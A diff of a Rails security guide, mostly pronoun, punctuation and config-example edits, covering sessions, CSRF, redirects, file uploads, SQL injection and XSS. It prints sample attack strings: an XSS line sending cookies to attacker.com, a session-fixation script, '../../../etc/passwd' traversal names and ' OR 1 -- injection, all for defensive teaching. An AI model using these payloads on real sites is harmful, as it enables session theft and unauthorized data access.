_provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: ```ruby config.force_ssl = true @@ -70,9 +70,9 @@ Hence, the cookie serves as temporary authentication for the web application. An * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. -* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. +* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later. -The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). ### Session Guidelines @@ -81,7 +81,7 @@ Here are some general guidelines on sessions. * _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. -* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. +* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. ### Session Storage @@ -93,11 +93,18 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves * The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. -`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.: +`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.: - YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...' + development: + secret_key_base: a75d... + + test: + secret_key_base: 492f... + + production: + secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information. @@ -111,9 +118,9 @@ It works like this: * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). * The user buys something. -* His new, lower credit will be stored in the session. -* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -* The user has his credit back. +* Their new, lower credit will be stored in the session. +* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser. +* The user has their credit back. Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). @@ -121,20 +128,20 @@ The best _solution against it is not to store this kind of data in a session, bu ### Session Fixation -NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ +NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._  This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. -* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. +* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* They maintain the session by accessing the web application periodically in order to keep an expiring session alive. +* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. * As the new trap session is unused, the web application will require the user to authenticate. * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. -### Session Fixation – Countermeasures +### Session Fixation - Countermeasures TIP: _One line of code will protect you from session fixation._ @@ -144,13 +151,13 @@ The most effective countermeasure is to _issue a new session identifier_ and dec reset_session ``` -If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. +If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. ### Session Expiry -NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ +NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._ One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. @@ -187,11 +194,11 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails * Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. * By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. * The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. -* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone. +* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone. -It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. +It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email. -CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_. +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - _CSRF is an important security issue_. ### CSRF Countermeasures @@ -230,26 +237,27 @@ Or the attacker places the code into the onmouseover event handler of an image: <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> ``` -There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request. + +To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications: ```ruby -protect_from_forgery secret: "123456789012345678901234567890..." +protect_from_forgery with: :exception ``` -This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error. +This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown. It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: ```ruby -def handle_unverified_request - super - sign_out_user # Example method that will destroy the user cookies. +rescue_from ActionController::InvalidAuthenticityToken do |exception| + sign_out_user # Example method that will destroy the user cookies end ``` -The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request. +The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request. -Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. Redirection and Files --------------------- @@ -258,7 +266,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f ### Redirection -WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ +WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: @@ -268,7 +276,7 @@ def legacy end ``` -This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL: +This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL: ``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com @@ -288,9 +296,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box. NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._ -Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. +Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user. -When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:) +When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master): ```ruby def sanitize_filename(filename) @@ -305,7 +313,7 @@ def sanitize_filename(filename) end ``` -A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. +A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. @@ -313,7 +321,7 @@ The solution to this is best to _process media files asynchronously_: Save the m WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ -The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. +The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file. _If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. @@ -327,7 +335,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa send_file('/var/www/uploads/' + params[:filename]) ``` -Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: +Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: ```ruby basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) @@ -352,11 +360,11 @@ Having one single place in the admin interface or Intranet, where the input has Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface. -**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. +**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -379,7 +387,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -398,7 +406,7 @@ If the parameter was nil, the resulting SQL query will be SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 ``` -And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. +And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. ### Brute-Forcing Accounts @@ -406,7 +414,7 @@ NOTE: _Brute-force attacks on accounts are trial and error attacks on the login A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes. -Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. +Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names. However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. @@ -418,24 +426,24 @@ Many web applications make it easy to hijack user accounts. Why not be different #### Passwords -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. #### E-Mail -However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. +However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs -INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._ +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot. Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. @@ -447,7 +455,7 @@ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. -You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html:) +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html): * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. * Randomize the field names @@ -481,7 +489,7 @@ A good password is a long alphanumeric combination of mixed cases. As this is qu INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ -Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: ```ruby /^https?:\/\/[^\n]+$/i @@ -495,7 +503,7 @@ http://hi.com */ ``` -This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: +This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: ```ruby link_to "Homepage", @user.homepage @@ -528,7 +536,7 @@ The most common parameter that a user might tamper with, is the id parameter, as @project = Project.find(params[:id]) ``` -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_: +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_: ```ruby @project = @current_user.projects.find(params[:id]) @@ -547,7 +555,7 @@ Injection is very tricky, because the same code or parameter can be malicious in ### Whitelists versus Blacklists -NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._ +NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._ A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_: @@ -571,7 +579,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap Project.where("name = '#{params[:name]}'") ``` -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: +This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: ```sql SELECT * FROM projects WHERE name = '' OR 1 --' @@ -581,7 +589,7 @@ The two dashes start a comment ignoring everything after it. So the query return #### Bypassing Authorization -Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. +Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. ```ruby User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -646,7 +654,7 @@ INFO: _The most widespread, and one of the most devastating security vulnerabili An entry point is a vulnerable URL and its parameters where an attacker can start an attack. -The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. +The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the [Live HTTP Headers Firefox plugin](http://livehttpheaders.mozdev.org/), or client-site proxies make it easy to change requests. XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. @@ -679,7 +687,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal <script>document.write(document.cookie);</script> ``` -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. +For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie. ```html <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> @@ -698,10 +706,10 @@ You can mitigate these attacks (in the obvious way) by adding the [httpOnly](htt With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: ```html -<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> +<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe> ``` -This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed. A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. @@ -718,7 +726,7 @@ _It is very important to filter malicious input, but it is also important to esc Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. -Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: +Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. 